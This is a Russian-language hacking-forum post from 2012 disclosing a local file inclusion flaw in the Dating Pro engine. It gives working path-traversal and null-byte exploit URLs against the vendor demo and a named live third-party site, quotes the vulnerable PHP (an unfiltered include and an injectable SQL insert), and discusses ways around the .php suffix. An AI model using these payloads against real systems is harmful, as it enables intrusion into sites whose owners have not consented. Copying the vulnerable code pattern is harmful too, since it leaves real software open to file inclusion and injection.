HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 26.07.2012, 20:31
Pirotexnik
Guest
Сообщений: n/a
Провел на форуме:
97332

Репутация: 38
По умолчанию

[Intro]​
Расковырял двиг, нашел лфи.

Все версии уязвимы, включая демо на офф cайте.

Стоимость движка 340$

[PoC]​

Цитата:
Сообщение от None  
http://demo.datingpro.com/dating/ecards.php?sel=pay_by_paysys&id_order=8&paysys=../../../version
Цитата:
Сообщение от None  
http://elka.me/ecards.php?sel=pay_by_paysys&id_order=8&paysys=../../../uploades/icons/big_thumb_493_7f60a337.gif%00
[Vuln. Code]​

Код:
Code:
function PayFromPaysystem(){
	global $lang, $config, $smarty, $dbconn, $user;

	$form['file_name'] = "ecards.php";
	$id_order = (isset($_REQUEST["id_order"]) && intval($_REQUEST["id_order"]) > 0) ? intval($_REQUEST["id_order"]) : null;
	if ($id_order == null) {
		header("Location: ".$config['server'].$config['site_root']."/".$form['file_name']);
	} else {
		$settings = GetSiteSettings(array('site_unit_costunit'));

		$paysys = $_REQUEST["paysys"]; //получаем переменную

		$card = GetCardOrderData($id_order);
		$amount = $card["price"];
		if ($amount == '0.00') {
			header("Location: ".$config['server'].$config['site_root']."/".$form['file_name']);
		}
		$product_name = $amount." ".$settings["site_unit_costunit"]." ".$lang["cards"]["payment_product"];
		$dbconn->Execute("INSERT INTO ".BILLING_REQUESTS_TABLE."
		(id_user, id_product, count_curr, currency, date_send, status, paysystem, id_group) VALUES
		('".$user[0]."', '-2', '".$amount."', '".$settings["abbr"]."','".date("Y-m-d H:i:s")."','send','".$paysys."','".$card['id_order']."')");
		$id_trunzaction =  $dbconn->Insert_ID();
		include_once "./include/systems/functions/".$paysys.".php";//инклуд без фильтраций
		MakePayment($paysys, $amount, $settings["site_unit_costunit"], $id_trunzaction, $product_name, array("force_disable_recurring"=>1));
		header("Location: ".$config['server'].$config['site_root']."/".$form['file_name']."?sel=my_orders");
	}
}
[Require]​
1) нужно быть залогиненым

2) должна передаватся переменная id_order

©Pirotexnik

___

Дабы не создавать новых тем вопрос к форумчанам по поводу нормализации пути - на демо не могу обрезать .php, пробовал: %00 , /[4096]/, /.[4096]/., ./[4096]./. Стоит там Apache httpd 2.2.16 ((Debian)), версия php не известна. В чем соль?

___

UPD: соль была в MQ=on
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ